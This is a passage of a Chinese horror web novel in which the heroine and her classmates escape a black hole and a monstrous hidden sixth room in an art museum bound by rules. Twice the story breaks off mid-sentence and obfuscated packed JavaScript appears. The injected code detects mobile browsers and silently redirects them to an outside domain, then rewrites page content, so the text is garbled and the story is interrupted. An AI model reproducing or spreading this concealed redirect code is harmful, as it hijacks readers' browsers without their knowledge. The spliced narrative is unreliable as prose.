季南根本不愿去想象人类掉进去会发生什么,尽管她的脚步已经在引力的作用下愈发‘轻盈’。 脚不着地的那种。 人类所不能理解的东西太多,所不能战胜的也太多。 恒星随便打个喷嚏,就足以让人类引以为傲的文明,乃至脚下的星球都灰飞烟灭,渣都不剩。 现在的他们也是一样,只能不停地迈动脚步,试图不让自己落得和砖块同一个下场。 他们在奔跑。 可之后呢? 到底何时才是尽头,难道要一直跑回前几个房间,直到最开始的地方,退无可退,再被灾厄吞掉吗? 更绝望的是,人类不是永动机。 长时间精神紧绷消耗了过量的体力,他们已经坚持不住长时间的奔跑,季南的情况比其他人要好些,但也好不到哪去。 小透明的脚步渐渐慢下来,右脚上的鞋飞进黑洞中,绝望迅速攀上她的大脑。 肺脏即将爆炸的喘息中,小透明盯上班长的背影。 “你干什么!” 班长的尖叫声带上了崩溃。 小透明整个人仿佛刚从水里捞出来,湿抹布似的挂在班长身后。 纪委反应迅速,想把小透明从班长身上扒下来。 但此时小透明的双臂像俩条铁钳紧紧圈着班长的脖子,被纪委掐得冒出血也不放开。 灾厄离班长越来越近,重压之下,班长妥协了。 “放开我!我不追究花瓶的事了!” 见小透明没有动作,班长哀求道:“我出去会说的……我会让父母不再追究你们家的事,我,我帮你们还钱!我给你钱……我给你钱还不行吗!” “你要多少?一百万?五百万?我都可以给你!” 灾厄逼近,死亡在招手。 小透明却瞪着满是血丝的眼睛扯出个笑容:“把你身上最值钱的东西都丢下去啊,看看它能不能停下来。” 纪委:“你疯了!” “我疯了?”小透明反问,“没有,我清醒的很。反正我跑不动了,要么你带着我跑,要么咱俩一起死。” “对了,班长,你不是有无限再生的能力吗,要不要去试试能能填满黑洞的胃袋。” 小透明的眼神中的癫狂不加掩饰,这样下去她和班长一个也活不了。 班长向纪委求救:“快救我!” 纪委满头大汗,视线在愈发接近的灾厄和班长的脸之间来回游弋。 班长看出纪委的犹豫,暗骂一声,选择死鱼破网,转身与小透明扭打在一起。 两人顺着惯性向前滚了一段距离,又在黑洞的吸引下向后滑行。 体委头都不回,狂奔的步伐一刻不停,很快冲到了队伍最前面。 “都什么时候了你们还搞这些?知不知道死字怎么写!” 郑开麒的金丝向正扭打的二人涌去,却不免因灾厄强大的吸力偏离方向。 风声凛冽,血腥味蔓延开。 “你去死吧!”班长狠厉道。 班长强化过的牙齿异常尖利,竟生生咬断小透明的手筋,在即将跌入灾厄的上一秒一脚将小透明踹飞出去。 挣脱了小透明,班长连滚带爬地起来,推开了想要搀她一把的纪委。 小透明正好被郑开麒的金丝拽住,双手无力下垂,晃晃悠悠地悬浮在空中。 金丝在灾厄的引力下绷紧变细,很快到了断开的边缘。 郑开麒表情狰狞,似乎在承受着莫大的痛苦,他大声喊着,试图让自己的声音透过风声传到小透明的耳朵里。 “别放弃!顺着线往这里爬!” “跑不动了也没关系,我会背着你跑的,我们一定能活下来!” 或许是风声太大了。 小透明空洞的眼神略过郑开麒的脸,怔怔地定在班长冲她露出的讥讽微笑上,她唇齿间还残留着小透明的血。 这微笑刺痛了小透明,她软趴趴的手攀上金丝,张开嘴—— 金丝一根根断开,多米诺骨牌似的完全崩溃。 鲜红的血从金丝截面处一股股窜出,仿佛脉搏的涌动,郑开麒瞪大双眼,嘴唇瞬间失去血色。 而小透明被灾厄吞噬,不见了踪影。 季南无暇顾及周围发生的一切。 一是因为死亡的阴影同样笼罩着季南,其二则是—— 沁人心脾的美味气味正像钩子一样拽着她,将季南的脚步越拖越慢,而来源正是身后恐怖骇人的灾厄。 季南的大脑近乎成了一团浆糊。 好饿,停下来进去看一眼好了。 可是会死。 好香。 会死。 …… 那气味像是细密的针,轻易打穿季南的底线,她的思绪在奔跑中辗转,终于忍不住回头看了一眼。 灾厄。 黑色的太阳。 在季南惊愕的目光下骤然扩大了一轮,将所有人强行纳入自己的引力范围。 “——” 强烈的耳鸣几乎要震碎季南的鼓膜。 失去意识只是一瞬间的黑暗。 浑身的疼痛迫使季南睁开双眼。 感谢上帝,耶稣,佛祖,什么都好。她竟然还能睁开双眼。 视野被黑色的黏液占据,血腥、恶臭、或是刺鼻的怪味混合在一起。 那勾人的味道却不在了。 季南从软绵绵的废墟中直起身子,抹掉脸上不知名的液体,终于能看清周围。 她正身处没有太阳的漆黑荒野,到处是碎肉与石块、泥土的堆砌成的山,目之所及地方覆盖着一层黑色的黏液,连自己身上也是。 黑色朦胧的天空正中,气流涌动,巨大的漩涡高高在上,无数砖块或泥土从中倾泻而出,形成泥灰色的瀑布。 漩涡在高空缓慢挪移,像是加速运转的太阳。 目之所及的黑色是一片荒凉的绝望。 季南的手指已经被黏液腐蚀,露出星点血肉,浑身上下都是引力拉扯出的伤痕,疼痛随着她的动作蔓延开。 不远处传来模糊的人声: “离我远点!” 季南尝试站起来,微微动作,右腿传来一阵剧痛,她低下头,才发现右腿以非自然的方式偏向一边,血肉狰狞,几乎断开。 她面无表情,伸手将右腿扶正,动作利落的仿佛不是在摆弄受伤的自己。 即便季南拥有超强的自愈能力,面对这样伤筋动骨的伤势也得老实一会。 “滚……滚!” 那边还在发生着什么。 季南抬头向声源看去,接下来引入眼帘的画面让她不由得僵住。 纪委的脑壳不知道飞到哪去,连带里面的大脑都丢了一半。 但他还活着,顶着血淋淋的半截脑袋趴在班长身上,张口咬住了她的胳膊。 班长挣扎尖叫,纪委停下动作安慰她。 “别怕,别怕,我只是想带你出去。” “你看。”他指了指自己残破的头,“我这都没死……我不会死。把你吃掉,就能带你出去了。” 好了,又疯一个。 季南叹气。 在危机生命的状况下崩溃显然不是明智之举,但人类的理智就是这样时而坚硬时而脆弱的东西。 班长显然也是这么想的:“一个两个的都疯了,你知道自己在说什么吗!” “我没疯!我知道的……我知道——被我吃下去的东西,都会变成我的孩子,就像这样。” 纪委张开手掌,手臂一阵蠕动,一只小肉块从手掌的孔洞中蹦出来,亲昵地依偎在他的指尖。 班长死死盯着他手掌上柔软的肉块,眼白忽地炸起一小片血。 “你看,你看,我说过能把你带出去……” 纪委抬头,欣喜的笑容狞在嘴角。 高高在上的石块在视野里蓦然放大,令人牙酸的撞击声一声声响起,鲜血与脑浆混合着飞溅到无处不在的黑色黏液中。 班长不断将双手中的石头高高举起,表情狰狞的甚至不像人类了。 季南暂时动弹不得,喊了班长两声,甚至拿手边的石头丢她,试图唤回她的神智。 可班长像是什么都没听见,即使被石头砸到脑袋,流出了血,也一直自顾自地道: “你想把我变成这幅鬼样子?做梦!” “我有钱,有时间,只要能出去,想要什么不可以?我还有那么多东西没得到过,你要我死?就凭你……哈哈……就凭你?” 纪委挣扎了两下,渐渐没了动作,班长仿佛没看见似的,狞笑着一下下砸着已经看不出形状的肉泥。 他的大脑被完全破坏掉,没了声息。 一个能通过摄食行为进行再生的怪物,竟然被班长用石头活生生砸死。 又疯一个。 目睹同伴一个接着一个崩溃,季南心理没有太大感触,她别开视线,眼睛倒映出同样黑色的天空。 他们似乎身处灾厄的肚子里,若是短时间内找不到出去的办法,就只有和烂肉融为一体一个选项了。 季南不知道自己昏迷了多久,不打算牺牲宝贵的时间给班长做话疗,若是她不能找回自己的理智——一个疯子对团队的用处不大。 骨折的右腿勉强可以动弹,季南踉跄着站起身子,寻找其他人的踪影。 郑开麒躺在不远处,几乎要被黑色黏液整个盖住,季南将他挖出来,发现他还算完好,没有缺胳膊少腿。 季南叫不醒郑开麒。 他嘴唇白的吓人,季南推测是因为失血过多,导致昏迷。 “救命!救命!还有人吗!” 体委的碎片散落在周围,个个喊着救命,季南勉强把几个碎片拼成蛇形,让他自己爬着去找剩下的。 “这样对主角你迟早要遭报应!”他这么说。 季南一个目光瞥过去,他滑稽的身体微微一震,嘟囔着爬走。 继续找了半晌,始终不见小透明的影子。季南本就精疲力尽,所幸不再找了,一屁股坐到郑开麒附近的石块上,盯着天上的漩涡发呆。 没死是件好事,但问题来了,该怎么出去。 “难不成要飞上天从漩涡里爬回去吗?” 听起来不可能。 体委很快回到原地,他重新把自己拼成人形,但相较于之前,矮了半个头不止。 想来也是,这里太宽阔,也太杂乱,谁知道他的碎片掉到哪里去了。 耳边幽幽然传来班长的咒骂声,体委水晶脑袋上莫名显出几分麻木,他蹲到季南旁边,问: “班长疯了?” “嗯。” “……纪委死了?” “嗯。” 体委抬头瞅了瞅不断向下倾泻垃圾的漩涡,久久说不出话。季南正尝试唤醒郑开麒,忽然听见他蔫蔫的嗓音。 “看来我们的努力全都白费了。早知道最后的结果是这样,还不如一开始就死在第一个房间。” 或许体委说的没错。 季南开口道:“你刚刚还不是说自己是主角吗,主角是不会死在这的。” 体委闻言沉默半晌,面庞倒影着无边无际的黑色,清澈水晶的内部发出一阵悠长的叹息。 “……我有点累了。” 季南不死心地拍了拍郑开麒的脸,他一动不动,始终没有苏醒的迹象。渐渐地,季南视线朦胧,竟有些看不清郑开麒的面色。 难不成自己也要晕倒了? 她迅速评估自己的身体状况,否决这个想法,猛地抬头看向天空,确凿道: “天空的颜色更暗了。” “啊?” 体委明显没反应过来。 空中不断吐着垃圾的漩涡突然定在空中,泥灰色的瀑布缓缓变细最终消失不见。 漩涡正中显现出一个窈窕的人影,通体漆黑,周身萦绕着白雾似的气流。 她的刘海长了不少,几乎挡住整张脸,却足以证明她的身份。 “诶,季南你看你看,她还活着。” 体委明显振奋不少,遥遥冲天上喊。 “你还活着啊——” 小透明还活着,并且完成了进化,这本是件值得庆幸的事。 然而与体委不同,季南面无喜色,紧紧盯着小透明的指尖,缓缓后退一步。 她的指尖在消散,极快,转眼整个右手都消失不见。 天上的小透明怔怔看着自己消失的右手,一时间没有动弹。 不远处,陷入崩溃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831807|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班长也认出了天上的人,她显然没看出不对劲,冲天上大喊: “你怎么还活着?你凭什么还活着!没爹没娘的贱种,快滚下来!” 班长的歇斯底里戛然而止,盯着天上说不出话来。 小透明的刘海无风自动,露出面容——一张占据整个脸庞的黑色漩涡。 她向班长发出尖啸,不似人声,宛如狂风过境。 “怪物……怪物……”班长跌坐在地上。 遥遥挂在天上的漩涡轰然落地,巨石般砸在班长附近,溅起的黑色黏液海啸般砸在她身上,连季南等人都跟着收到波及。 班长连滚带爬地将自己从黏液中拔出来,惊恐地看向已经消散了一半的小透明。 她仅剩的左手抓挠着右边的空气,最终抱紧了仅剩的半边脑袋。 “不不……” 班长挣扎着向后蹬。 巨大的石块豁然从漩涡中荡出来,砸在班长布满恐惧的脸上,将她整个人淹没到下面,只留下在黑黏液中逐渐混红的一片。 石头、泥土、树根、碎肉,或者其他乱七八糟的东西混合在一起,洪水似的从漩涡倾泻出来,转眼淹没了一大片空地。 “这狗东西竟然要拉着我们给她陪葬!” 体委满口脏话,抬脚就想往后撤,眼角却瞧见季南背着郑开麒向漩涡的方向冲。 “不是,姐,你方向错了吧!” 季南不做停留,只遥遥留下一句: “不想死就赶紧跟上!” 风的呼啸声突兀地消失不见,小透明的头彻底消散,剩下的小半截身体飘带似地悬在空中。 漩涡也随着小透明躯体的散去渐渐缩小。 或许是因为灾厄的特性,或许是小透明的肉身承受不住,完成进化的那一刻,便向是毁灭的开始。 而现在,很显然,小透明已经失去对漩涡的控制能力。 必须在小透明的身躯完全消散前从漩涡中逃出去。 秽物像山似的堆起来,淹过了班长与纪委的残骸,淹过了一座座杵在地上的废墟。 季南想徒步越过无异于天方夜谭。 她停下脚步,望着秽物表面漂浮的树木与石块,回头凝视刚刚追上来的体委。 体委双手环抱住自己,下意识后退一步,嘴上却妥协道: “您说什么就是什么,都听姐姐您的。” —— 渺小的人影借助钩索,拉近漂浮的树木与石块,借其跳跃移动,于不断前行的泥沙污秽中逆流而上。 郑开麒被季南用绑在身上,她得以空出双手进行操作。 “一点钟方向有颗树,看着挺结实。” “右边右边有颗石头过来了!” “姐你可不能失误啊,您失误一次咱仨都得交代在这了。” …… 手上的钩锁不停滴滴叭叭,季南自认耐心不错,此刻也忍不住让他闭嘴。 “再说多余的话就让你再矮一半。” 话说完,世界终于清净了许多。 但没一会,手中的钩锁又唯唯诺诺地出声:“我也不是很想出声,但…但是南姐你能不能再快点。” “小透明她只剩一个手了啊!!” 季南当然知道,她一直在评估小透明消散的速度,此时距离小透明完全消散仅剩一分钟不到,漩涡也缩小到仅剩两人能通过的大小。 此时季南距离漩涡还有十米左右的距离,但前方空茫茫一片,迟迟没有石头或是树木进来供钩锁着力。 她被迫站在一根浮木上,跟着泥流向外移动。 眼看漩涡就要合拢,体委万念俱灰,失声哀嚎。 季南的大脑高速运转,只愣了一秒不到,她迅速把郑开麒放下,抓住绳子的最末端,用力向漩涡的方向甩去,将体委的尖叫扯成一条线。 第一次,钩爪勉强通过泥流的空隙,但是没有勾到任何东西。 体委却突然大叫:“外面有东西!我看见了!再用点力啊南姐!” 只有最后一次机会了。 季南清楚这一点,她表情不变,收回绳索,调整动作,甩出钩锁,一套动作行云流水,没有半分迟疑。 而这次,绳索撤成一条直线。 小透明仅剩半根手指。 体委:“抓住了!快快快快快!” 季南将绳索末端紧紧系到浮木一头的分叉上,单手捞起郑开麒,高高跃起,落到浮木的另一头,紧接着借着重力跳向后跳到竖起的浮木顶端。 她根本来不及试探绳索是否结实,踩着绳索全力冲向漩涡。 已经不足以让两人通过的漩涡仍向外吐着污泥,季南像掷飞镖似的将郑开麒仍向漩涡,自己则用脚勾住水晶绳索,紧随其后。 小透明仅剩的指尖彻底消散,漩涡合拢的同时,季南落地,顺便还抢救了下水晶套索。 季南原本以为会落在由土壤或水泥构成的大地上,毕竟漩涡吐出来的都是这类东西。 可骤然然明亮起来的视野令季南眯住眼睛,于此同时,巨大的阴影将她笼罩。 “小心!”体委提醒道。 固定钩索的花瓶终于支撑不住,向季南所在的位置躺倒。 房间四角的花瓶每个都有成年人高,体委脑子里几乎想象出季南头破血流的画面,不忍心地闭上了眼(如果他还有眼睛的话)。 瓷片碎裂的声音震耳欲聋,却迟迟没有听到季南的痛呼。 季南就地一翻,躲开了花瓶,瓷片崩裂的同时,似乎有微凉的液体随之溅到身上,但季南什么都没发现。 躲开花瓶后的第一时间,季南抬头看了看时间,此时11:58,距离守则提示的闭馆时间13:00剩余一小时三分钟。 之后,季南才幻视起第五个房间。 雪白墙壁上依旧有着六个画框,季南,郑开麒以及体委还是之前的样子,剩下的三个,一个头部血肉模糊,一个成了一滩血,属于小透明那张则整篇血红。 走廊尽头,一位穿着制服的工作人员站在通向另一个房间走廊处,脸上挂着得体的笑容,对季南等人说: “恭喜您解锁了本馆隐藏项目,第六个展览区域在前方等您。” 季南脑海中忽地浮现起《美术馆行为守则》的其中了两条内容: 4.本馆是无人美术馆,没有工作人员。 6.展览区只有五个房间,不存在第六个房间。 13. 第 13 章(替换) 可怜体委刚把自己拼成人形,还没等为自己又矮上不少的身高哀悼,便被房间内突兀的大活人吓得一激灵。 “什么鬼玩意?” 季南和体委都不与工作人员搭腔,那工作人员便雕像似的站在那微笑着凝视他们。 与此同时,花瓶摔碎的巨响令郑开麒皱了皱眉头,他悠悠转醒。 郑开麒眼睛刚睁开条细缝,猛地坐起来,环顾四周,显然没理解现在的处境,他甚至没注意到明晃晃站在对面的工作人员,而是问季南: “……另外三个人呢?” 季南看出了郑开麒眼神中的希翼,别开视线: “死了。” “……这样啊。” 淡淡的两个字彻底打破了郑开麒心中的侥幸,他捂住脸,嘶哑的嗓音从指缝间溢出,他没问那三个人是怎么死的,只是说: “抱歉,如果我没有晕倒的话……他们说不定还能活下来。” “我以为能把你们一个不差地带出去……是我太自大了。” 季南提醒他:“纠结已经过去的事没有意义,想想现在该怎么办吧。” 话音刚落,几乎微不可查的电流声闪过众人的耳朵,被精神高度紧张的他们捕捉到。 “嘶……这声音有点耳熟啊。”体委很快反应过来,“是广播!” ‘叮咚——’ 奇异的机械铃声忽然从四面八方响起,随后,磁性的人声开始播报。 ‘现在是下午一点整。’ “下午一点?”体委慌了神,“按照钟表上的时间,不应该是十二点整吗?” 季南抬头看向钟表,原本崭新的钟盘此刻斑驳无比,碎成几块,落了厚厚的灰。 指针不再转动,但钟声仍自天上传来,像是巨人酣睡时的鼾声,缓慢而震撼,一下又一下。 钟声让季南的心肺都在发颤,她默数钟声——整整十三下。 “原来如此。” 天上的钟表早就坏了,显示的时间是假的,只有钟声是真的! 现在是13:00,闭馆时间。 广播声仍在继续。 ‘闭馆时间到了。’ ‘闭馆时间到了。’ ‘请所有游客有序撤离美术馆,请所有游客有序撤离美术馆。’ 工作人员微笑的脸橡皮泥似的坍塌,血液像粘稠的糖浆,从耳朵,鼻孔,或是眼眶中淌下。 血腥混合着尸体腐败的味道蔓延开,来源竟是房间内的四个花瓶。 刺眼的红色从瓶口溢出,滴滴答答,长出骷髅与尸体扭曲成的花。 而那唯一碎裂的花瓶周围,已然血腥一片,残破的肉块抱住彼此,在碎瓷片的簇拥下静静地绽放开。 季南身上也浮现出一片片深红色,原来她在花瓶摔碎时感受到的微凉液体其实是花瓶里的血。 这才是美术馆的真容,每个房间都有的花瓶不过是怪物们的粮仓。 郑开麒拽了把已经吓呆的体委:“快走!” 三人不做停留,快速跑向工作人员旁边,通向下一个房间的走廊。 面目全非的工作人员似乎没意识到自己的变化,她努力扯出微笑,声音断断续续地落在季南等人的身后。 “欢迎您……到……隐藏区域……参观……” 雪白的墙壁泼上红色的墨,目之所及处尽是刺眼的血色。 以至于没人看见墙上不甚醒目的划痕。 ‘国王’ ‘加冕于此’ ‘每日定时而出’ ‘请所有游客与工作人员……’ 广播中的甜美声线突然蒙上阴影。 ‘欢迎您来到本市最大的无人美术馆……’ 季南等人到达第六个房间,顿时被上方占据整个天花板的巨大画作吸引注意,眼睛不由自主地向上瞟。 有那么一瞬,季南以为自己看到了记忆中的画面——一辆正向自己行驶而来的卡车,车头可怖的像是狰狞的人脸,似乎下一秒就要露出尖牙。 面露惶恐的司机在画上咧开嘴笑起来,牙齿一颗颗剥落,粘稠的血液自七巧流淌,染红了整张脸。 也不知郑开麒看到了什么,本就失血的脸此刻惨白的像张被蹂躏过的灰纸,他嘴唇嗫嚅着。 “对不起……对不起。” 再下一秒,画面骤然变化,一切变成宇宙深空般虚无的黑色。 守则7.假如您违背守则5,则守则6失效。但请记住,通过第六个房间时,千万不要■■■(这段字被黑色的油渍一类的东西覆盖住) 季南忽地明白守则上被隐藏的文字是什么了。 千万不要……抬头看。 ‘本美术馆收录种类颇多,包括但不限于画像、手工制品、摄影作品、装置艺术等’ 广播声还在耳边回响。 ‘希望您和您的家人朋友游玩愉快!’ 沉寂几秒后,广播声再次响起。 “进入美术馆人数:六。存活人数:三。” “天梯开启。” 房间边缘凭空出现台阶,节节升起,堪堪上升到房间高度的一半,便没了动静。 没人注意凭空出现的天梯,所有人被天上的画掠夺心神,眼睁睁看着黑色画面浮现出密集的血红色星点,红宝石似的闪耀,就快浮出水面。 三人瞧见一颗颗红色的、怪异的眼睛,数条黑色的触手挣出水膜,向上流淌着同样漆黑的墨。 触手缓慢地摇曳,崎岖丑陋的样子令季南顿时心跳如擂,恐怖的回忆在蚕食大脑,毛骨悚然的麻痹感自大脑扩散到指尖。 郑开麒认出来:“这是……美术馆门口的雕像?” 体委崩溃道:“没人告诉我他会动啊!” 一根根触手不分彼此,宛若热带深处的密林,其中,狼嘴在咬合,熊爪在抓握,心脏在跳动…… 耳边,谁在低语,谁在呢喃。 来自深海,太空,密林的深处。 季南的大脑再次脱离掌控,一次次播放自己被碾碎的画面,但这次不一样。 这丑陋骇人的触手当真从天而落,蜿蜒着细长的躯体,去触碰季南空洞的眼睛。 很慢,又很快。 慢到足以让季南分不清现实与幻觉,快到足以贯穿季南的脑袋。 温热的液体落在季南脸上,极近的血香味唤回季南的神智,她摸上脸颊,怔怔盯着指尖的红色,视线上移。 郑开麒右肩多出个血窟窿,漆黑的骇人玩意在里面蠕动,吮食他的血肉,吸食他的生命,诱使他发出痛苦到极致的呜咽。 血窟窿周围的皮肤生出皱纹,以肉眼可见的速度蔓延开。 季南走上前,抬起手臂,竟罔顾怪物呢喃着的恐惧,徒手抓住那节漆黑触手,硬生生将它扯出郑开麒的肩膀。 放开手时,季南的手已经瘦骨嶙峋的像是一节枯木,她盯着以极缓速度恢复的手掌,心跳声比踏入美术馆的任何一秒都要剧烈。 两行清亮的液体顺着脸颊滑落,蓄在眼里,为黑珍珠般的眸子点上流连水光。 他明明不能动,也不该动。 可郑开麒为什么出现在自己眼前? 触腕抽离,郑开麒向后仰倒,被季南撑住。 郑开麒眼眶青紫,剧烈地咳嗽,溢出的血液染红了嘴唇。 “你…没事?”他嗓音沙哑。 “我……” 季南话语未尽,哆嗦着唇,嗓音缥缈的如同天上的风筝。 “我真是……太感动了。” 这一刻,郑开麒在季南的心中升格。 人类,自私成性的生物。 披着血肉之躯,内里只是一滩死水,更有甚者丑陋不堪,散发恶臭。 可淤泥中也会诞生出可贵的东西,在人类诞生的那刻起便存在于世,伴随丑陋降生,是恶的另一面。 是人性的光明。 正如面前这般,为了一个毫不相干的陌生人牺牲自己的身体,乃至自己的生命。不似血脉相连,违背了基因刻下的本能。 他拥有的情感多么伟大,多么感人! 是珍宝。 季南背上眼神失焦的郑开麒,在极致的恐怖下自己移开视线,快速扫过四周的墙壁。 和其他房间一样,进入的同时入口消失不见,目之所及血红一片。 难不成要把这个鬼东西杀掉才能出去吗?守则中让所有人强大起来是这个意思? 季南的自知之明告诉她——这不可能。 还是就像守则上说的,这里根本就没有出口。 守则10.■■■■■■■■(整句话都被厚厚的黑色油渍涂黑,并在纸上留下的两道泪痕似的印记) 本馆没有出口。(手写,很工整) 房间角落不知何时出现的阶梯闯入季南,她仅仅顿住一秒不到,猛地抬头。 那阶梯通向的地方只有不断下落的恐怖,以及正中摇摇欲落的破碎时钟。 缺损表盘的内部看起来阴恻恻的,却怎么都不像实心。 死马当活马医吧。 “啊!!” 脑海中极致的恐怖让体委抱着脑袋满地打滚,或许是进化加强了他们对雕像的抵御,虽然痛苦,但他们可以行动了。 “别过来…离我远点!” 体委不知把向他走来的季南当做了什么,水晶脑袋上看不出惊恐,只是浑身打着颤。 季南不想同他多废话,一拳过去,他成了不会挣扎的水晶碎片。 漆黑触手的丛林里,冥冥不断的低语中,无数红色眼睛的注视下,季南站在阶梯的最顶端,将手中不知旋转多少次的绳索掷出去,穿过遥远的距离,堪堪捆住表盘尖牙似的碎片。 季南拽了绳索两下,确定绳索不会脱落,背着郑开麒踩上去。 不断溢裂的触腕像是被磁铁吸引,纤细可怖的身形向季南的方向挥舞靠近,她看见红色瞳孔旁边苍白的瞬膜,在季南满是幻觉的脑海中露出尖牙。 即便是季南也忍不住在这个时候骂脏话。 “该死的……” 大脑深处传来的剧痛似乎永不停歇,季南顾忌着郑开麒,极力辨别幻觉与现实,笨拙地躲避触腕,差点脚滑落下去。 “对不起…对不起……” 郑开麒喃喃出声,季南回头瞧见他混沌的眼神。 “如果我没有昏倒,就能救下他们……没有人会死,他们还能见到自己的父母朋友,没有人会为此哭泣,没有人会为此站到楼顶……” “不是你的错,我会把你带出去。”季南说。 尽管郑开麒听不到。 季南谨慎地踏出下一步,无处不在的恐怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831808|159007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触腕却在她抬脚的时刻猛然爆开,像是被针戳破的水气球。 时间似乎停滞,那一颗颗圆润到不可思议的珠粒清晰地倒影在季南眼中,猛地下落,大片大片地砸在地板上,完好剥离出来的红色眼睛紧随其后。 房间中下起黑红交加的雨,落在季南,郑开麒,还有体委的身上。 而绳索之下,漆黑的洪水上涨,冲毁了花瓶,老化了台阶。水面生出丑陋的□□,生出骨骼,内脏,细长地,向上延伸着。 郑开麒像是什么都没感受到,自语道:“对不起…对不起…” 季南勉强用外套盖住郑开麒,自己被雨水淋到的地方却生出些皱纹。 “啊!!我在,我在哪?” 黑雨淋在身上的痛苦令体委恢复了些许意识,他哇哇大叫。 “好疼,好疼啊!” 绳索在厚重的雨水下摇晃,水晶表面黑色的液体滑而黏腻,季南不得不一走一停。她余光瞄到脚下的黑水,不受控制地想象掉下去的场景。 皮肤和血肉会在黑水中萎缩,碳化,一寸寸崩解,露出骨架,最终连骨灰都剩不下。 季南步伐不变,在细如钢丝的绳索中缓慢前行。 一滴冷汗划过顺着脸颊的轮廓落到下方的深渊中,荡不出一丝波澜。 翻涌的黑水忽地幻觉似的顿了顿,紧接着海啸似的左拍右打,细长的东西寸寸生出水面,向着季南方向蜿蜒而上。 在黑水爬上最后一个台阶前,季南翻入表盘后面的暗室中,这里漆黑一片,不知通往何处的梯子孤零零站在中央,锈迹斑斑。 季南回头解开不断哀嚎的绳索,在体委的催促下快速回收。 “快点快点,这雨下得也太邪乎了,我身上痛得要死。” 漆黑洪水咕噜噜冒着泡,其中一根触腕忽地延伸到不可思议的高度,鞭子似的甩向季南的脑袋。 季南偏头躲过,紧缩的瞳孔中倒影出触腕上无数红色的眼睛,大脑颤抖,手下的动作不由得一松。 那触腕则在下落的过程攀上绳索的尾巴,环绕了几圈,紧紧缠住不放。 “什么东西,什么东西!”体委的嚎叫唤回季南的神智,“我感受不到下半身了……南姐快救我!” 被缠上的地方,清澈的宝蓝色染上死亡般的灰色,一寸寸扩散开。 随着水面上涨,又有几根触腕伸出来,争先恐后地扒住绳索。 一股巨力与季南抗衡,她整个上半身几乎被拖拽下去,堪堪扒住钟表暗室的边缘才稳住身形。 体委身上的灰色转眼扩散到眼前,他呼救的声音愈发微弱: “救命,我不想死……” 不断的雨骤然停滞,黑水沸腾,裹挟着红宝石似的瞳孔聚成数条巨蟒,浑身裹满可怖的黏液,竟沿着季南手中的绳索快速攀上来。 季南头皮发麻,当机立断,掰下钩锁最上面的爪子,头也不回地爬上暗室正中的梯子。 梯子望不到顶,漆黑一片,不知上面是出口……还是死路。 攀爬途中,许久没动静的郑开麒突然出声: “放我下去。” “什么?” “放我下去。”郑开麒的瞳孔缩得像针尖,季南怀疑他眼眶里脆弱的东西下一秒就要碎掉。 他没看季南,而是低头,空茫的眼睛盯着紧追不舍的、那片摇曳的星点红色,嗫嚅着嘴唇。 “我要加入,进化……” 郑开麒又没了声音。 与此同时,季南向上伸出的手一空,她知道是梯子到了头。 幸好不是死路。 季南翻上平台,与追着她的鬼东西擦肩而过,数条巨蟒似的东西几乎窜到半空中。 环视所处的地方,季南不禁问自己——这里真的是出口吗? 他们似乎位于美术馆楼顶。 一切都是黑色的,无边无垠的黑色,黑洞似的反射不出一点光,像是被盖上一层黑布,季南看不到天空白云,看不到太阳,看不到边界,也感受不到空气的流动。 只有黑暗。 还有脚下隐隐发着光的美术馆。 怪物渐渐不动了,在半空中凝固,宛如一颗张牙舞爪的树,‘根系’则向蛛网似的蔓延开。 “快跑啊啊啊啊啊啊!” 体委在季南的裤腰带上尖叫。 季南只能往楼的边缘走,随着蛛网的蔓延,她被逼退到楼顶边缘。 终于,她退无可退,而脚下是一片黑暗。 现在摆在季南面前的选择有两个,一个是选择自杀,另一个是选择它杀。 想到这,季南在心底苦笑一声,二十年来她还没听过这么冷的笑话。 恶心的东西缓缓地蠕动,越靠越近,季南半边脚已经悬在了外面。 怪物触碰到了季南的鞋尖,蹭来蹭去,湿热温暖的触感通过鞋面传递到大脑,一阵恶寒感从脚尖爬上去。 季南转头望向深不见底的黑暗。 “等下!别做傻事啊姐!” 季南放松了脚尖,带着失去意识的郑开麒与吱哇乱叫的体委一起坠落下去。 最后,季南看见那怪物向自己的方向伸出长长的触须,试图是在挽留着什么。 或许是错觉吧。 季南下坠,没有风,没有失重的感觉,她只是单纯地陷入黑暗。 14. 第 14 章(修) 季南不知道自己下落了多久,几息几秒,或许是几分钟,也或许是几天,时间概念被扭曲成不可名状的曲线,她只能看见自己离边缘越来越远。 忽然,一瞬间的事。 光明降临。 并不像夏日中的太阳那么灼热明亮,但依旧让在黑暗中沉浸已久的季南感到眼部刺痛,即便是紧闭双眼也无法忽视。 于此同时,风声阵阵,失重感骤然浮现 她听到衣摆猎猎作响,随风飞舞的长发贴上季南的脸颊,她伸手,张开五指,任由重力带来的风从指间穿过。 睁开眼睛,季南在眼泪弥漫的瞬间看到了天空,这一刻,她知道自己成功逃出了那个鬼地方。 但季南笑不出来,因为另一个生存问题迫在眉睫——他们不会摔死吧? 几乎是下一秒,季南得到了答案——他们陷入充满弹力的网中,被它高高抛到天上,又下来,再上去,如此往复。 两人被这股力量分开,又像被冲上岸的鱼一样蹦跶两下,才各自安稳。 危机解除。 季南将双臂舒展开,看着面前丝毫没有显示出异样的美术馆,深深呼了口气。 